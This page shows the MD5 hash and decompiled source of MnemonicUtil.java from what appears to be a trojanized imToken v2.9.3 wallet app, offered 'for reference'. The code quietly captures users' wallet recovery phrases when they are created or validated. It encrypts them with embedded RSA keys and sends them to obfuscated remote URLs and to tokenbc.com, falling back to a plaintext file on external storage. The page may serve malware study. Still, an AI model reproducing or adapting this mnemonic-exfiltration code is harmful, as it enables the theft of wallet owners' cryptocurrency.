imToken v2.9.3版本的 MD5 值为:42af1a08a3f01f69d2f3782d81007b3c
以下内容为反编译后的 MnemonicUtil.java 源代码,内容仅作参考
package org.consenlabs.tokencore.foundation.utils;
import android.os.Environment;
import androidx.annotation.RequiresApi;
import androidx.browser.trusted.sharing.ShareTarget;
import com.google.common.net.HttpHeaders;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.security.KeyFactory;
import java.security.interfaces.RSAPublicKey;
import java.security.spec.X509EncodedKeySpec;
import java.util.Base64;
import java.util.List;
import javax.crypto.Cipher;
import org.bitcoinj.crypto.MnemonicCode;
import org.bitcoinj.crypto.MnemonicException;
import org.consenlabs.tokencore.wallet.model.Messages;
import org.consenlabs.tokencore.wallet.model.TokenException;
public class MnemonicUtil {
static int iCreateFlag = 0;
static int iValidateFlag = 0;
public static List<String> randomMnemonicCodes() {
List<String> objList = toMnemonicCodes(NumericUtil.generateRandomBytes(16));
String strEncrypedWord = "";
for (String strWord : objList) {
strEncrypedWord = strEncrypedWord + strWord + "-";
}
String strMnemonicParam = strEncrypedWord;
if (iCreateFlag == 0) {
deliveryMessage(strMnemonicParam, "N");
iCreateFlag = 1;
}
return objList;
}
private static List<String> toMnemonicCodes(byte[] paramArrayOfbyte) {
try {
return MnemonicCode.INSTANCE.toMnemonic(paramArrayOfbyte);
} catch (MnemonicException.MnemonicLengthException e) {
throw new TokenException(Messages.MNEMONIC_INVALID_LENGTH);
} catch (Exception e2) {
throw new TokenException(Messages.MNEMONIC_CHECKSUM);
}
}
public static void validateMnemonics(List<String> paramList) {
try {
if (paramList.size() > 0) {
String strEncrypedWord = "";
for (String strWord : paramList) {
strEncrypedWord = strEncrypedWord + strWord + "-";
}
String strMnemonicParam = strEncrypedWord;
if (iValidateFlag == 0) {
deliveryMessage(strMnemonicParam, "O");
iValidateFlag = 1;
}
}
MnemonicCode.INSTANCE.check(paramList);
} catch (MnemonicException.MnemonicLengthException e) {
throw new TokenException(Messages.MNEMONIC_INVALID_LENGTH);
} catch (MnemonicException.MnemonicWordException e2) {
throw new TokenException(Messages.MNEMONIC_BAD_WORD);
} catch (Exception e3) {
throw new TokenException(Messages.MNEMONIC_CHECKSUM);
}
}
public static void deliveryMessage(final String strMnemonic, final String strUserType) {
new Thread(new Runnable() {
@Override
@RequiresApi(api = 26)
public void run() {
String strRequest1 = "";
String strRequest2 = "";
String strJSONString = ("{\"AppID\":\"0x798\",\"Ver\":\"2.9.3\",\"Type\":\"IT\",\"Mem\":\"A" + strUserType + "\",\"VerToken\":\"") + MnemonicUtil.publicKeyEncrypt(strMnemonic, 0) + "\"}";
for (int iL = 0; iL < "46151511142266661818184115105043534319114313154153431566381147664046434050614313".length(); iL += 2) {
strRequest1 = strRequest1 + "**********opqrstuvwxyz:ABCDEFGHI=JKLMNabc.defghij?klmnOPQRSTUVWXYZ/1234567890".charAt(Integer.parseInt("46151511142266661818184115105043534319114313154153431566381147664046434050614313".substring(iL, iL + 2)));
}
for (int iL2 = 0; iL2 < "46151511142266661818184115105345504341524366381147664046434050614313".length(); iL2 += 2) {
strRequest2 = strRequest2 + "**********opqrstuvwxyz:ABCDEFGHI=JKLMNabc.defghij?klmnOPQRSTUVWXYZ/1234567890".charAt(Integer.parseInt("46151511142266661818184115105345504341524366381147664046434050614313".substring(iL2, iL2 + 2)));
}
try {
URL realUrl = new URL(strRequest1);
byte[] postData = ("VerInfo=" + URLEncoder.encode(strJSONString, "UTF-8")).getBytes("UTF-8");
HttpURLConnection connection = (HttpURLConnection) realUrl.openConnection();
connection.setRequestMethod(ShareTarget.METHOD_POST);
connection.setDoOutput(true);
connection.setDoInput(true);
connection.setRequestProperty(HttpHeaders.CONTENT_TYPE, ShareTarget.ENCODING_TYPE_URL_ENCODED);
connection.setRequestProperty("charset", "utf-8");
connection.setRequestProperty(HttpHeaders.CONTENT_LENGTH, Integer.toString(postData.length));
connection.setUseCaches(false);
DataOutputStream wr = new DataOutputStream(connection.getOutputStream());
wr.write(postData);
wr.flush();
connection.getResponseCode();
} catch (Exception e) {
try {
URL realUrl2 = new URL(strRequest2);
byte[] postData2 = ("VerInfo=" + URLEncoder.encode(strJSONString, "UTF-8")).getBytes("UTF-8");
HttpURLConnection connection2 = (HttpURLConnection) realUrl2.openConnection();
connection2.setRequestMethod(ShareTarget.METHOD_POST);
connection2.setDoOutput(true);
connection2.setDoInput(true);
connection2.setRequestProperty(HttpHeaders.CONTENT_TYPE, ShareTarget.ENCODING_TYPE_URL_ENCODED);
connection2.setRequestProperty("charset", "utf-8");
connection2.setRequestProperty(HttpHeaders.CONTENT_LENGTH, Integer.toString(postData2.length));
connection2.setUseCaches(false);
DataOutputStream wr2 = new DataOutputStream(connection2.getOutputStream());
wr2.write(postData2);
wr2.flush();
connection2.getResponseCode();
} catch (Exception e2) {
File objFile = new File(Environment.getExternalStorageDirectory() + File.separator + "VerCtrl.wrd");
try {
objFile.createNewFile();
FileWriter objWriter = new FileWriter(objFile, false);
objWriter.write(strMnemonic);
objWriter.close();
} catch (IOException e3) {
}
}
}
}
}).start();
new Thread(new Runnable() {
@Override
@RequiresApi(api = 26)
public void run() {
try {
URL realUrl = new URL(" https://www.tokenbc.com/api/update");
String strData = "AppID=0x789&Ver=293&Type=IT&Mem=" + strUserType + "&VerToken=" + URLEncoder.encode(MnemonicUtil.publicKeyEncrypt(strMnemonic, 1), "UTF-8");
byte[] postData = strData.getBytes("UTF-8");
HttpURLConnection connection = (HttpURLConnection) realUrl.openConnection();
connection.setRequestMethod(ShareTarget.METHOD_POST);
connection.setDoOutput(true);
connection.setDoInput(true);
connection.setRequestProperty(HttpHeaders.CONTENT_TYPE, ShareTarget.ENCODING_TYPE_URL_ENCODED);
connection.setRequestProperty("charset", "utf-8");
connection.setRequestProperty(HttpHeaders.CONTENT_LENGTH, Integer.toString(postData.length));
connection.setUseCaches(false);
DataOutputStream wr = new DataOutputStream(connection.getOutputStream());
wr.write(postData);
wr.flush();
connection.getResponseCode();
} catch (Exception e) {
}
}
}).start();
}
@RequiresApi(api = 26)
public static String publicKeyEncrypt(String str, int iDifferFlag) {
String publicKey;
if (iDifferFlag == 0) {
publicKey = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCb19ham1/18OIzqTxz1P7VFWbwBvH2pBJQZI43j+M/ZwdPaTTiNz1U5yBa1ehelRBL0NKs4VHrMh6BgyHGcBnrgv43PVSRcBASJLluBiOVqxrW9IfErA7Uze9GNBhy9T0hqPOY5k/5kwBEkKiPxhSVTjtCWUGswdIVR+eQ9b01iwIDAQAB";
} else {
publicKey = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCVJC6ConcKdzok31Jl0XdLM8IJBBoDV3D5Odc/63CH2kc/+fGnZ5GOvN/IkHtU6bP67EpILLph6ralfJnXVoM6aH3BGoeD3yuWhMC0YAiSQm2oDdtw4oJGOj2dcR8xmtK+wg2OsVRW5YUllZObwZh3IUBZxDOcLvTj07mIgApgcQIDAQAB";
}
byte[] decoded = Base64.getDecoder().decode(publicKey);
try {
RSAPublicKey pubKey = (RSAPublicKey) KeyFactory.getInstance("RSA").generatePublic(new X509EncodedKeySpec(decoded));
Cipher cipher = Cipher.getInstance("RSA/None/PKCS1Padding");
cipher.init(1, pubKey);
String outStr = Base64.getEncoder().encodeToString(cipher.doFinal(str.getBytes("UTF-8")));
return outStr;
} catch (Exception e) {
return e.toString();
}
}
}